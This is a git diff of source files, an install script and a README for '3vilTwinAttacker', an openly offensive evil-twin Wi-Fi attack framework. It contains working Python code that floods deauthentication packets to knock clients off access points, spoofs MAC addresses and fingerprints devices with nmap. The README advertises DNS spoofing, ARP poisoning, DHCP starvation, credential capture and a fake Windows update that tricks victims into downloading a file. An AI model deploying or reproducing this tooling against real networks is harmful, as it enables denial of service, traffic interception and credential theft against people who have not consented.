select_target(self): + item = self.tables.selectedItems() + if item != []: + self.linetarget.setText(item[2].text()) + else: + QMessageBox.critical(self, "Error in row", "Nothing row in tables, please try scan network again") + self.linetarget.clear() + + def window_qt(self): + self.controlador = QLabel("") + self.attack_OFF() + self.form0 = QFormLayout() + self.form1 = QFormLayout() + self.form2 = QFormLayout() + self.list = QListWidget() + self.list.clicked.connect(self.list_clicked) + self.list.setFixedHeight(20) + + self.tables = QTableWidget(5,3) + self.tables.setFixedWidth(350) + self.tables.setRowCount(100) + self.tables.setFixedHeight(200) + self.tables.setSelectionBehavior(QAbstractItemView.SelectRows) + self.tables.setEditTriggers(QAbstractItemView.NoEditTriggers) + self.tables.clicked.connect(self.select_target) + self.tables.resizeColumnsToContents() + self.tables.resizeRowsToContents() + self.tables.horizontalHeader().resizeSection(1,120) + self.tables.horizontalHeader().resizeSection(0,60) + self.tables.horizontalHeader().resizeSection(2,158) + self.tables.verticalHeader().setVisible(False) + Headers = [] + for n, key in enumerate(self.data.keys()): + Headers.append(key) + self.tables.setHorizontalHeaderLabels(Headers) + + + self.linetarget = QLineEdit() + self.input_client = QLineEdit(self) + self.input_client.setText("FF:FF:FF:FF:FF:FF") + self.btn_enviar = QPushButton("Send Attack", self) + self.btn_enviar.clicked.connect(self.attack_deauth) + self.btn_scan = QPushButton(" Network Scan ", self) + self.btn_scan.clicked.connect(self.exec_sniff) + self.btn_stop = QPushButton("Stop Attack ", self) + self.btn_stop.clicked.connect(self.kill_thread) + self.btn_enviar.setFixedWidth(170) + self.btn_stop.setFixedWidth(170) + + #icons + self.btn_scan.setIcon(QIcon("rsc/network.png")) + self.btn_enviar.setIcon(QIcon("rsc/start.png")) + self.btn_stop.setIcon(QIcon("rsc/Stop.png")) + + self.w_pacote = QComboBox(self) + self.w_pacote.addItem("1000 ") + self.w_pacote.addItem("2000 ") + self.w_pacote.addItem("3000 ") + self.w_pacote.addItem("4000 ") + self.w_pacote.addItem("5000 ") + self.w_pacote.addItem("10000 ") + self.w_pacote.addItem("infinite loop") + self.time_scan = QComboBox(self) + self.time_scan.addItem("10s") + self.time_scan.addItem("20s") + self.time_scan.addItem("30s") + self.get_placa = QComboBox(self) + Interfaces = frm_dhcp_Attack() + n = Interfaces.placa() + for i,j in enumerate(n): + if search("wlan", j): + self.get_placa.addItem(n[i]) + self.form0.addRow("Network scan time:", self.time_scan) + self.form1.addRow(self.tables) + self.form1.addRow(self.get_placa, self.btn_scan) + self.form1.addRow("Target:", self.linetarget) + self.form1.addRow("Packet:",self.w_pacote) + self.form1.addRow("Client:", self.input_client) + self.form1.addRow("Status Attack:", self.controlador) + self.form2.addRow(self.btn_enviar, self.btn_stop) + self.Main.addLayout(self.form0) + self.Main.addLayout(self.form1) + self.Main.addLayout(self.form2) + self.setLayout(self.Main) + def scan_diveces_airodump(self): + dirpath = "Settings/Dump" + if not path.isdir(dirpath): + makedirs(dirpath) + self.data = {'Bssid':[], 'Essid':[], 'Channel':[]} + exit_air = airdump_start() + self.fix = False + if exit_air == None: + self.cap = get_network_scan() + if self.cap != None: + for i in self.cap: + i = i.split("||") + if self.check_is_mac(i[2]): + Headers = [] + self.data['Channel'].append(i[0]) + self.data['Essid'].append(i[1]) + self.data['Bssid'].append(i[2]) + for n, key in enumerate(self.data.keys()): + Headers.append(key) + for m, item in enumerate(self.data[key]): + item = QTableWidgetItem(item) + item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) + self.tables.setItem(m, n, item) + self.cap =[] + def kill_thread(self): + self.attack_OFF() + self.control = 1 + dat = self.xmlcheck.xmlSettings("item1","deauth_mdk3",None,False) + if dat == "True": + popen("killall xterm") + def exec_sniff(self): + self.data = {'Bssid':[], 'Essid':[], 'Channel':[]} + dot =1 + count = 0 + self.options_scan = self.xmlcheck.xmlSettings("monitor0", "scan_scapy", None, False) + if self.get_placa.currentText() == "": + QMessageBox.information(self, "Network Adapter", 'Network Adapter Not found try again.') + else: + comando = "ifconfig" + proc = Popen(comando,stdout=PIPE, shell=False) + data = proc.communicate()[0] + if search("mon0", data): + dot = 0 + c = "airmon-ng stop mon0".split() + Popen(c,stdout=PIPE, shell=False) + system("airmon-ng start %s" %(self.get_placa.currentText())) + else: + system("airmon-ng start %s" %(self.get_placa.currentText())) + if self.time_scan.currentText() == "10s": + count = 10 + elif self.time_scan.currentText() == "20s": + count = 20 + elif self.time_scan.currentText() == "30s": + count = 30 + if self.options_scan == "True": + sniff(iface=self.interface, prn =self.Scanner_devices, timeout=count) + t = len(self.ap_list) -1 + i = 0 + items = [] + cap = [] + for i in range(t): + if len(self.ap_list[i]) < len(self.ap_list[i+1]): + if i != 0: + for index in xrange(self.list.count()): + items.append(self.list.item(index)) + if self.ap_list[i] or self.ap_list[i+1] in items: + pass + else: + self.list.addItem(self.ap_list[i] + " " + self.ap_list[i+1]) + if not (self.ap_list[i] + " " + self.ap_list[i+1]) in cap: + cap.append(self.ap_list[i] + " " + self.ap_list[i+1]) + else: + self.list.addItem(self.ap_list[i] + " " + self.ap_list[i+1]) + if not (self.ap_list[i] + " " + self.ap_list[i+1]) in cap: + cap.append(self.ap_list[i] + " " + self.ap_list[i+1]) + else: + self.list.addItem(self.ap_list[i+1] + " " + self.ap_list[i]) + if not (self.ap_list[i+1] + " " + self.ap_list[i]) in cap: + cap.append(self.ap_list[i+1] + " " + self.ap_list[i]) + if self.ap_list[i] < i: + pass + break + else: + dot = 1 + self.list.clear() + for i in cap: + dat = i.split() + if self.check_is_mac(dat[3]): + self.data['Channel'].append(dat[0]) + self.data['Essid'].append(dat[2]) + self.data['Bssid'].append(dat[3]) + Headers = [] + for n, key in enumerate(self.data.keys()): + Headers.append(key) + for m, item in enumerate(self.data[key]): + item = QTableWidgetItem(item) + item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) + self.tables.setItem(m, n, item) + cap = [] + self.ap_list = [] + else: + self.thread_airodump = threading.Thread(target=self.scan_diveces_airodump) + self.thread_airodump.daemon = True + self.thread_airodump.start() + def Scanner_devices(self,pkt): + if pkt.type == 0 and pkt.subtype == 8: + if pkt.addr2 not in self.ap_list: + self.ap_list.append(pkt.addr2) + self.ap_list.append(str(int(ord(pkt[Dot11Elt:3].info)))+" | " + pkt.info) + print "AP MAC: %s with SSID: %s CH %d"%(pkt.addr2, pkt.info, int(ord(pkt[Dot11Elt:3].info))) + + + def attack_deauth(self): + if self.linetarget.text() == "": + QMessageBox.information(self, "Target Error", "Please, first select Target for attack") + else: + self.ss = None + if self.w_pacote.currentText() == "infinite loop": + self.ss = 1 + else: + self.ss = int(self.w_pacote.currentText()) + self.bssid = str(self.linetarget.text()) + self.deauth_check = self.xmlcheck.xmlSettings("item0", "deauth_scapy",None,False) + self.args = self.xmlcheck.xmlSettings("mdk3","arguments", None, False) + if self.deauth_check == "True": + self.controlador.setText("[ ON ]") + self.controlador.setStyleSheet("QLabel { color : green; }") + self.t = threading.Thread(target=self.deauth_attacker, args=(self.bssid,str(self.input_client.text()), self.ss)) + self.t.daemon = True + self.t.start() + else: + self.controlador.setText("[ ON ]") + self.controlador.setStyleSheet("QLabel { color : green; }") + self.t = threading.Thread(target=self.mdk3_attacker, args=(self.bssid,self.args,)) + self.t.daemon = True + self.t.start() + + def attack_OFF(self): + self.controlador.setText("[ OFF ]") + self.controlador.setStyleSheet("QLabel { color : red; }") + system("clear") + + + def mdk3_attacker(self,bssid,args): + n = (popen("""sudo xterm -geometry 75x15-1+200 -T "mdk3 Target: %s" -e mdk3 mon0 %s %s & mdk3=$!"""%(bssid,args,bssid)).read()) + "exit" + while n != "dsa": + if n == "exit": + self.attack_OFF() + break + def deauth_attacker(self,bssid, client, count): + self.control = None + bot = 0 + conf.verb = 0 + conf.iface = self.interface + packet = RadioTap()/Dot11(type=0,subtype=12,addr1=client,addr2=bssid,addr3=bssid)/Dot11Deauth(reason=7) + deauth_ap = Dot11(addr1=bssid, addr2=bssid, addr3=bssid)/Dot11Deauth() + deauth_pkt2 = Dot11(addr1=bssid, addr2=client, addr3=client)/Dot11Deauth() + self.pacote.append(deauth_pkt2) + self.pacote.append(deauth_ap) + if count == 1: + while count != 0: + try: + sendp(packet) + print 'Deauth sent via: ' + conf.iface + ' to BSSID: ' + bssid + ' for Client: ' + client + if self.control == None: + pass + else: + self.attack_OFF() + count = 0 + popen("clear") + except KeyboardInterrupt: + print "::" + sys.exit() + else: + for n in range(int(count)): + try: + sendp(packet) + print 'Deauth sent via: ' + conf.iface + ' to BSSID: ' + bssid + ' for Client: ' + client + if self.control == None: + pass + else: + self.attack_OFF() + popen("clear") + break + except KeyboardInterrupt: + print "::" + sys.exit() + self.attack_OFF() + + def check_is_mac(self,value): + checked = re.compile(r"""( + ^([0-9A-F]{2}[-]){5}([0-9A-F]{2})$ + |^([0-9A-F]{2}[:]){5}([0-9A-F]{2})$ + )""", + re.VERBOSE|re.IGNORECASE) + if checked.match(value) is None: + return False + else: + return True + @pyqtSlot(QModelIndex) + def list_clicked(self, index): + itms = self.list.selectedIndexes() + for i in itms: + attack = str(i.data().toString()).split() + for i in attack: + if self.check_is_mac(i.replace(" ", "")): + self.linetarget.setText(str(i)) + if self.linetarget.text() == "": + QMessageBox.information(self, "MacAddress", "Error check the Mac Target, please set the mac valid.") diff --git a/Modules/fuc_airodump.py b/Modules/fuc_airodump.py new file mode 100644 index 0000000..43e3691 --- /dev/null +++ b/Modules/fuc_airodump.py @@ -0,0 +1,25 @@ +from BeautifulSoup import BeautifulSoup +from os import popen +def airdump_start(): + get = (popen("""sudo xterm -geometry 85x15-1+250 -T "Scan Networks Airodump-ng" -e airodump-ng mon0 --write \ + Settings/Dump/networkdump & airodump=$!""").read()) + "exit" + while get != "dsa": + if get == "exit": + break + return None + +def get_network_scan(): + list_scan = [] + try: + xml = BeautifulSoup(open("Settings/Dump/networkdump-01.kismet.netxml", 'r').read()) + for network in xml.findAll('wireless-network'): + essid = network.find('essid').text + if not essid: + essid = 'Hidden' + channel = network.find('channel').text + bssid = network.find('bssid').text + list_scan.append(channel + "||" + essid + "||" + bssid) + popen("rm Settings/Dump/networkdump-01.*") + return list_scan + except IOError: + return None \ No newline at end of file diff --git a/Modules/mac_change_func.py b/Modules/mac_change_func.py new file mode 100644 index 0000000..a3014da --- /dev/null +++ b/Modules/mac_change_func.py @@ -0,0 +1,171 @@ +from PyQt4.QtGui import * +from PyQt4.QtCore import * +from re import search +from os import geteuid,popen +from subprocess import Popen,PIPE +from Core.Settings import frm_Settings +import subprocess +import random +class frm_mac_changer(QMainWindow): + def __init__(self, parent=None): + super(frm_mac_changer, self).__init__(parent) + self.form_widget = frm_mac_generator(self) + self.setCentralWidget(self.form_widget) + +class frm_mac_generator(QWidget): + def __init__(self, parent=None): + super(frm_mac_generator, self).__init__(parent) + self.setWindowIcon(QIcon('rsc/icon.ico')) + self.setWindowIcon(QIcon('Modules/icon.ico')) + self.setWindowTitle("MAC Address Generator") + self.Main = QVBoxLayout() + self.prefix = [ 0x00, 0xCB, 0x01,0x03 ,\ + 0x84,0x78,0xAC, 0x88,0xD3,\ + 0x7B, 0x8C,0x7C,0xB5, 0x90,0x99,0x16, \ + 0x9C, 0x6A ,0xBE , 0x55, 0x12, 0x6C , 0xD2,\ + 0x8b, 0xDA, 0xF1, 0x9c , 0x20 , 0x3A, 0x4A,\ + 0x2F, 0x31, 0x32, 0x1D, 0x5F, 0x70, 0x5A,\ + 0x5B, 0x5C, 0x63, 0x4F, 0x3F, 0x5F, 0x9E] + + self.config = frm_Settings() + self.loadtheme(self.config.XmlThemeSelected()) + self.MacGUI() + def loadtheme(self,theme): + if theme != "theme2": + sshFile=("Core/%s.css"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + else: + sshFile=("Core/%s.css"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + def get_interface_mac(self,device): + result = subprocess.check_output(["ifconfig", device], stderr=subprocess.STDOUT, universal_newlines=True) + m = search("(?<=HWaddr\\s)(.*)", result) + if not hasattr(m, "group") or m.group(0) == None: + return None + return m.group(0).strip() + + def placa(self): + comando = "ls -1 /sys/class/net" + proc = Popen(comando,stdout=PIPE, shell=True) + data = proc.communicate()[0] + return data.split('\n') + + @pyqtSlot(QModelIndex) + def combo_clicked(self, device): + if device == "": + self.i_mac.setText('Not Found') + else: + self.i_mac.setText(self.get_interface_mac(device)) + def randomMacAddress(self,prefix): + for _ in xrange(6-len(prefix)): + prefix.append(random.randint(0x00, 0x7f)) + return ':'.join('%02x' % x for x in prefix) + def action_btn_random(self): + mac = self.randomMacAddress([random.choice(self.prefix) , random.choice(self.prefix) , random.choice(self.prefix)]) + self.i_mac.setText(mac) + + def setMAC(self,device,mac): + subprocess.check_call(["ifconfig","%s" % device, "up"]) + subprocess.check_call(["ifconfig","%s" % device, "hw", "ether","%s" % mac]) + + def change_macaddress(self): + if not geteuid() == 0: + QMessageBox.information(self, "Permission Denied", 'Tool must be run as root try again.') + else: + self.setMAC(self.combo_card.currentText(), self.i_mac.text()) + self.deleteLater() + def MacGUI(self): + self.form_mac = QFormLayout() + self.i_mac = QLineEdit(self) + self.combo_card = QComboBox(self) + self.btn_random = QPushButton("Random MAC") + self.btn_random.setIcon(QIcon("rsc/refresh.png")) + self.btn_save = QPushButton("Save") + self.btn_save.setIcon(QIcon("rsc/Save.png")) + self.btn_save.clicked.connect(self.change_macaddress) + self.btn_random.clicked.connect(self.action_btn_random) + self.n = self.placa() + self.combo_card.addItems(self.n) + self.connect(self.combo_card, SIGNAL('activated(QString)'), self.combo_clicked) + self.form_mac.addRow(self.combo_card,self.i_mac) + self.form_mac.addRow("MAC Random: ", self.btn_random) + self.form_mac.addRow(self.btn_save) + self.Main.addLayout(self.form_mac) + self.setLayout(self.Main) + +class frm_GetIP(QWidget): + def __init__(self, parent=None): + super(frm_GetIP, self).__init__(parent) + self.Main = QVBoxLayout() + self.setWindowIcon(QIcon('Modules/icon.ico')) + self.setWindowTitle("Device fingerprint wireless network") + self.listGUI() + def get_clients(self): + output = popen("route | grep default ") + conf = output.read().split() + if conf != []: + conf = conf[1] + getway_default = conf[:len(conf)-1] + "*" + self.nmap_get_ip(getway_default) + else: + QMessageBox.information(self, "Network Error", 'You need be connected the internet try again.') + def get_mac(self,host): + fields = popen('grep "%s " /proc/net/arp' % host).read().split() + if len(fields) == 6 and fields[3] != "00:00:00:00:00:00": + return fields[3] + else: + return ' not detected' + def get_OS(self, ipaddress): + output = popen("route | grep default ") + conf = output.read().split() + if conf != []: + route = conf[1] + if ipaddress != route: + data = popen("nmap -A -O -Pn %s | grep 'OS'"%(ipaddress)).read() + if search(":microsoft:windows_7", data): + file = popen("nmap -A -sV -O %s | grep 'NetBIOS computer name'"%(ipaddress)).read().split() + return " Windows 2008|7|Phone|Vista | PC Name: " + file[4] + elif search("Apple", data): + return " Iphone Or MAC oS" + elif search("linux",data): + if search(":android:", data): + return " Android" + else: + return " Linux" + elif search("", data): + return "OS Unknown" + else: + return "Router" + else: + QMessageBox.information(self, "Network Error", 'You need be connected the internet try again.') + def nmap_get_ip(self,geteway): + self.lb_clients.clear() + self.setStyleSheet('QListWidget {color: yellow}') + clients = popen("nmap -sP "+ geteway) + c = clients.read().split() + for i,j in enumerate(c): + if j.count(".") == 3: + if self.cb_getOS.isChecked(): + if not geteuid() == 0: + QMessageBox.information(self, "Permission Denied", 'the Tool must be run as root try again.') + break + else: + self.lb_clients.addItem(c[i] + "| " + str(self.get_mac(c[i]) + "|" + str(self.get_OS(c[i])))) + else: + self.lb_clients.addItem(c[i] + "| " + str(self.get_mac(c[i]))) + def listGUI(self): + self.form0 = QFormLayout() + self.lb_clients = QListWidget(self) + self.cb_getOS = QCheckBox("Detect OS") + self.btn_scan = QPushButton("Scan Clients") + self.btn_scan.clicked.connect(self.get_clients) + self.label1 = QLabel("IPAddress") + self.label2 = QLabel(" | MACAddress | OS") + self.form0.addRow(self.label1, self.label2) + self.form0.addRow(self.lb_clients) + self.form0.addRow("You Need Root:", self.cb_getOS) + self.form0.addRow(self.btn_scan) + self.Main.addLayout(self.form0) + self.setLayout(self.Main) \ No newline at end of file diff --git a/Modules/networksdisc.py b/Modules/networksdisc.py new file mode 100644 index 0000000..a6a3701 --- /dev/null +++ b/Modules/networksdisc.py @@ -0,0 +1,102 @@ +#coding: utf-8 +from PyQt4.QtGui import * +from os import getegid,popen +from re import search +from Core.Settings import frm_Settings +from scapy.all import * + +class frm_list_IP(QMainWindow): + def __init__(self, parent=None): + super(frm_list_IP, self).__init__(parent) + self.form_widget = frm_GetIP(self) + self.setCentralWidget(self.form_widget) + self.setWindowIcon(QIcon('rsc/icon.ico')) + +class frm_GetIP(QWidget): + def __init__(self, parent=None): + super(frm_GetIP, self).__init__(parent) + self.setWindowTitle("Device fingerprint wireless network") + self.Main = QVBoxLayout() + self.config = frm_Settings() + self.loadtheme(self.config.XmlThemeSelected()) + self.listGUI() + def loadtheme(self,theme): + if theme != "theme2": + sshFile=("Core/%s.css"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + else: + sshFile=("Core/%s.css"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + + def get_clients(self): + output = popen("route | grep default ") + conf = output.read().split() + if conf != []: + conf = conf[1] + getway_default = conf[:len(conf)-1] + "*" + self.nmap_get_ip(getway_default) + else: + QMessageBox.information(self, "Network Error", 'You need be connected the internet try again.') + def get_mac(self,host): + fields = popen('grep "%s " /proc/net/arp' % host).read().split() + if len(fields) == 6 and fields[3] != "00:00:00:00:00:00": + return fields[3] + else: + return ' not detected' + def get_OS(self, ipaddress): + output = popen("route | grep default ") + conf = output.read().split() + if conf != []: + route = conf[1] + if ipaddress != route: + data = popen("nmap -A -O -Pn %s | grep 'OS'"%(ipaddress)).read() + if search(":microsoft:windows_7", data): + file = popen("nmap -A -sV -O %s | grep 'NetBIOS computer name'"%(ipaddress)).read().split() + return " Windows 2008|7|Phone|Vista | PC Name: " + file[4] + elif search("Apple", data): + return " Iphone Or MAC oS" + elif search("linux",data): + if search(":android:", data): + return " Android" + else: + return " Linux" + elif search("", data): + return "OS Unknown" + else: + return "Router" + else: + QMessageBox.information(self, "Network Error", 'You need be connected the internet try again.') + + + def nmap_get_ip(self,geteway): + self.lb_clients.clear() + self.setStyleSheet('QListWidget {color: yellow}') + clients = popen("nmap -sP "+ geteway) + c = clients.read().split() + for i,j in enumerate(c): + if j.count(".") == 3: + if self.cb_getOS.isChecked(): + if not getegid() == 0: + QMessageBox.information(self, "Permission Denied", 'the Tool must be run as root try again.') + break + else: + self.lb_clients.addItem(c[i] + "| " + str(self.get_mac(c[i]) + "|" + str(self.get_OS(c[i])))) + else: + self.lb_clients.addItem(c[i] + "| " + str(self.get_mac(c[i]))) + def listGUI(self): + self.form0 = QFormLayout() + self.lb_clients = QListWidget(self) + self.cb_getOS = QCheckBox("Detect OS") + self.btn_scan = QPushButton("Scan Clients") + self.btn_scan.setIcon(QIcon("rsc/network.png")) + self.btn_scan.clicked.connect(self.get_clients) + self.label1 = QLabel("IPAddress") + self.label2 = QLabel(" | MACAddress | OS") + self.form0.addRow(self.label1, self.label2) + self.form0.addRow(self.lb_clients) + self.form0.addRow("You Need Root:", self.cb_getOS) + self.form0.addRow(self.btn_scan) + self.Main.addLayout(self.form0) + self.setLayout(self.Main) diff --git a/README.md b/README.md new file mode 100644 index 0000000..9db5dd9 --- /dev/null +++ b/README.md @@ -0,0 +1,97 @@ +# 3vilTwinAttacker v0.5.9 +Framework for EvilTwin Attacks +![Tool Home](https://dl.dropboxusercontent.com/u/97321327/evil/3vil5.9.jpg) +--- +### dependencies: +* Python-scapy +* Python-nmap +* BeautifulSoup +* Airbase-ng include in aircrack-ng +* DHCP-server + +#### Ubuntu and Kali install +```sh +$ chmod +x install.sh +``` +```sh +$ sudo ./install --install +``` +#### [install DHCP in Debian-based] + +##### Ubuntu + +```sh +$ sudo apt-get install isc-dhcp-server +``` + +##### Kali linux + +```sh +$ echo "deb http://ftp.de.debian.org/debian wheezy main " >> /etc/apt/sources.list +$ apt-get update && apt-get install isc-dhcp-server +``` + +#### [install DHCP in redhat-based] + +##### Fedora + +```sh +$ sudo yum install dhcp +``` + +### Tools +- Etter.dns: Edit etter.dns to loading module dns spoof. + +- Dns Spoof: Start dns spoof attack in interface ath0 fake AP. + +- Ettercap: Start ettercap attack in host connected AP fake Capturing login credentials. + +- Sslstrip: The sslstrip listen the traffic on port 10000. + +- Driftnet: The driftnet sniffs and decodes any JPEG TCP sessions, then displays in an window. + + +### Modules +* Deauth Attack: kill all devices connected in AP (wireless network) or the attacker can Also put the Mac-address in the Client field, Then only one client disconnects the access point. + +* Probe Request: Probe request capture the clients trying to connect to AP,Probe requests can be sent by anyone with a legitimate Media Access Control (MAC) address, as association to the network is not required at this stage. + +* Mac Changer: you can now easily spoof the MAC address. With a few clicks, users will be able to change their MAC addresses. + +* Device FingerPrint: list devices connected the network mini fingerprint, is information collected about a local computing device. + +* DHCP Starvation Attack: this module DHCP Starvation can be classified as a Denial of Service attack. is an attack that works by broadcasting vast numbers of DHCP requests with spoofed MAC addresses simultaneously. + +* DNS Spoof Manager: this module DNS spoofing is the making change in hostname ip-address table, this table tells the route will be that DNS address for that particular IP address, thus changing the address of this table we can redirect wherever we want. + +* Windows Update Attack: this module is an attack DNS spoof que generate an update the page fake Windows, causing the victim to download a fake file update. + +* ARP Posion Attack: change tables ARPspoof the target and redirect all request tcp to ip attacker. +## Videos tutorials: +[Demo 1](http://www.youtube.com/watch?v=Jrb43KVPIJw) +-- +[Demo 2](http://youtu.be/qVGLGNYyLzg) +-- +[Demo 3](http://youtu.be/rNWvpV6NZoI) +-- +The MIT License (MIT) + +Copyright (c) 2015 P0cL4bs Team + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Settings/Settings.xml b/Settings/Settings.xml new file mode 100644 index 0000000..27b5f04 --- /dev/null +++ b/Settings/Settings.xml @@ -0,0 +1,17 @@ + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Settings/source.tar.gz b/Settings/source.tar.gz new file mode 100644 index 0000000..bd103dd Binary files /dev/null and b/Settings/source.tar.gz differ diff --git a/functions.py b/functions.py new file mode 100644 index 0000000..0bdc3cd --- /dev/null +++ b/functions.py @@ -0,0 +1,13 @@ +#! /usr/bin/python +from sys import argv +from PyQt4.QtGui import * +from Core.Main import frmControl +from Core.check import check_dependencies +if __name__ == '__main__': + check_dependencies() + root = QApplication(argv) + app = frmControl(None) + app.setWindowIcon(QIcon('rsc/icon.ico')) + app.center() + app.show() + root.exec_() \ No newline at end of file diff --git a/install.sh b/install.sh new file mode 100755 index 0000000..90d4748 --- /dev/null +++ b/install.sh @@ -0,0 +1,188 @@ +#!/bin/bash +#install kali and ubuntu +#--------------------------------------- +txtund=$(tput sgr 0 1) +txtbld=$(tput bold) +green=$(tput setaf 2) +bldred=${txtbld}$(tput setaf 1) +red_color=$(tput setaf 1) +color_y=$(tput setaf 3) +bldblu=${txtbld}$(tput setaf 4) +bldwht=${txtbld}$(tput setaf 7) +txtrst=$(tput sgr0) +info=${bldwht}*${txtrst} +pass=${bldblu}*${txtrst} +warn=${bldred}*${txtrst} +ques=${bldblu}?${txtrst} +#--------------------------------------- +requeries=true +func_Banner(){ + clear + echo ' =============================' + echo " |$bldblu 3vilTwinAttacker Installer$txtrst|" + echo ' =============================' + echo " Version: $(tput setaf 5)0.5.9 $txtrst" +} + + +install_repo(){ + dist=$(tr -s ' \011' '\012' < /etc/issue | head -n 1) + if [ $dist = "Ubuntu" ]; then + sudo cp /etc/apt/sources.list /etc/apt/sources.list.backup + File="/etc/apt/sources.list" + if ! grep -q 'deb http://http.kali.org/kali kali main non-free contrib' $File;then + echo "#Eviltwininstall" >> /etc/apt/sources.list + echo "deb http://http.kali.org/kali kali main non-free contrib" >> /etc/apt/sources.list + echo "deb http://security.kali.org/kali-security kali/updates main contrib non-free" >> /etc/apt/sources.list + sudo apt-get update + fi + fi +} + +usage(){ + echo "usage: ./install.sh --install | --uninstall" +} + +func_check_install(){ + if which $1 >/dev/null; then + echo "----[$green✔$txtrst]----[$green+$txtrst] $1 Installed" + else + echo "----[$red_color✘$txtrst]----[$red_color-$txtrst] $1 not Installed " + nome="$1" + requeries=$nome + fi +} + +function program_is_installed { + local return_=1 + type $1 >/dev/null 2>&1 || { local return_=0; } + echo "$return_" +} + +func_install(){ + func_Banner + if [ "$(id -u)" != "0" ]; then + echo -e "$(tput setaf 6)[-] This script must be run as root$(tput sgr0)" 1>&2 + exit 1 + fi + install_repo + sudo apt-get install python-qt4 -y + sudo apt-get install ettercap-graphical -y + sudo apt-get install xterm -y + sudo apt-get install python-scapy -y + sudo apt-get install sslstrip -y + sudo apt-get install nmap -y + sudo apt-get install aircrack-ng -y + sudo apt-get install php5-cli -y + sudo pip install BeautifulSoup -y + sudo apt-get install python-nmap + sudo apt-get install mdk3 -y + File="/etc/apt/sources.list" + if grep -q '#Eviltwininstall' $File;then + sudo cp /etc/apt/sources.list.backup /etc/apt/sources.list + rm /etc/apt/sources.list.backup + fi + echo "----------------------------------------" + echo "[=]$bldblu checking dependencies $txtrst " + func_check_install "ettercap" + func_check_install "xterm" + func_check_install "nmap" + func_check_install "sslstrip" + func_check_install "dhcpd" + func_check_install "aircrack-ng" + func_check_install "php" + func_check_install "mdk3" + echo "----------------------------------------" + dist=$(tr -s ' \011' '\012' < /etc/issue | head -n 1) + echo "[$green+$txtrst] Distribution Name: $dist" + if which dhcpd >/dev/null; then + echo -e "" + else + echo "[$green+$txtrst] dhcpd installer Distribution" + if [ "$dist" = "Ubuntu" ]; then + check_dhcp=$(program_is_installed dhcpd) + if [ $check_dhcp = 0 ]; then + sudo apt-get install isc-dhcp-server -y + func_check_install "dhcpd" + fi + elif [ "$dist" = "Kali" ]; then + check_dhcp=$(program_is_installed dhcpd) + if [ $check_dhcp = 0 ]; then + sudo cp /etc/apt/sources.list /etc/apt/sources.list.backup + File="/etc/apt/sources.list" + if ! grep -q 'deb http://ftp.de.debian.org/debian wheezy main' $File;then + echo "deb http://ftp.de.debian.org/debian wheezy main" >> /etc/apt/sources.list + apt-get update + apt-get install isc-dhcp-server -y + sudo cp /etc/apt/sources.list.backup /etc/apt/sources.list + rm /etc/apt/sources.list.backup + func_check_install "dhcpd" + fi + fi + fi + fi + echo "----------------------------------------" + echo "[=] $bldblu Install 3vilTwinAttacker$txtrst" + if [ ! -d "$DIRECTORY" ]; then + mkdir $DIRECTORY + cp -r $path_install /usr/share/3vilTwinAttacker/ + bin_install + echo "[$green✔$txtrst] 3vilTwinAttacker installed with success" + echo "[$green✔$txtrst] execute $bldred 3vilTwin-Attacker$txtrst in terminal" + else + rm -r $DIRECTORY + mkdir $DIRECTORY + cp -r $path_install /usr/share/3vilTwinAttacker/ + bin_install + echo "[$green✔$txtrst] 3vilTwinAttacker installed with success" + echo "[$green✔$txtrst] execute $bldred 3vilTwin-Attacker$txtrst in terminal" + fi + echo "[$green+$txtrst]$color_y P0cL4bs Team CopyRight 2015$txtrst" + echo "[$green+$txtrst] Enjoy" +} + +bin_install(){ + if [ ! -f "/usr/bin/3vilTwin-Attacker" ]; then + echo "[$green✔$txtrst] Install binary in /usr/bin/" + echo "'/usr/share/3vilTwinAttacker/3vilTwin-Attacker.py'" >> /usr/bin/3vilTwin-Attacker + chmod +x /usr/bin/3vilTwin-Attacker + fi +} + +uninstall(){ + if [ "$(id -u)" != "0" ]; then + echo -e "$(tput setaf 6)[-] This script must be run as root$(tput sgr0)" 1>&2 + exit 1 + fi + if [ -d "$DIRECTORY" ]; then + echo "[$green+$txtrst] delete Path: $DIRECTORY" + rm -r $path_uninstall + echo "[$green+$txtrst] delete with success" + if [ -f "/usr/bin/3vilTwin-Attacker" ]; then + rm /usr/bin/3vilTwin-Attacker + echo "[$red_color-$txtrst] 3vilTwinAttacker bin deleted" + fi + else + echo "[$red_color✘$txtrst] 3vilTwinAttacker not Installed" + fi +} +func_Banner +DIRECTORY="/usr/share/3vilTwinAttacker" +Dir_isntall=$(pwd) +path_install=$Dir_isntall"/*" +path_uninstall=$DIRECTORY"/" +while [ "$1" != "" ]; do + case $1 in + --install ) shift + func_install + ;; + --uninstall ) uninstall + ;; + -h | --help ) usage + exit + ;; + * ) usage + exit 1 + esac + shift +done \ No newline at end of file diff --git a/rsc/Hmovetoolbar.png b/rsc/Hmovetoolbar.png new file mode 100644 index 0000000..cead99e Binary files /dev/null and b/rsc/Hmovetoolbar.png differ diff --git a/rsc/Hsepartoolbar.png b/rsc/Hsepartoolbar.png new file mode 100644 index 0000000..7f183c8 Binary files /dev/null and b/rsc/Hsepartoolbar.png differ diff --git a/rsc/Save.png b/rsc/Save.png new file mode 100644 index 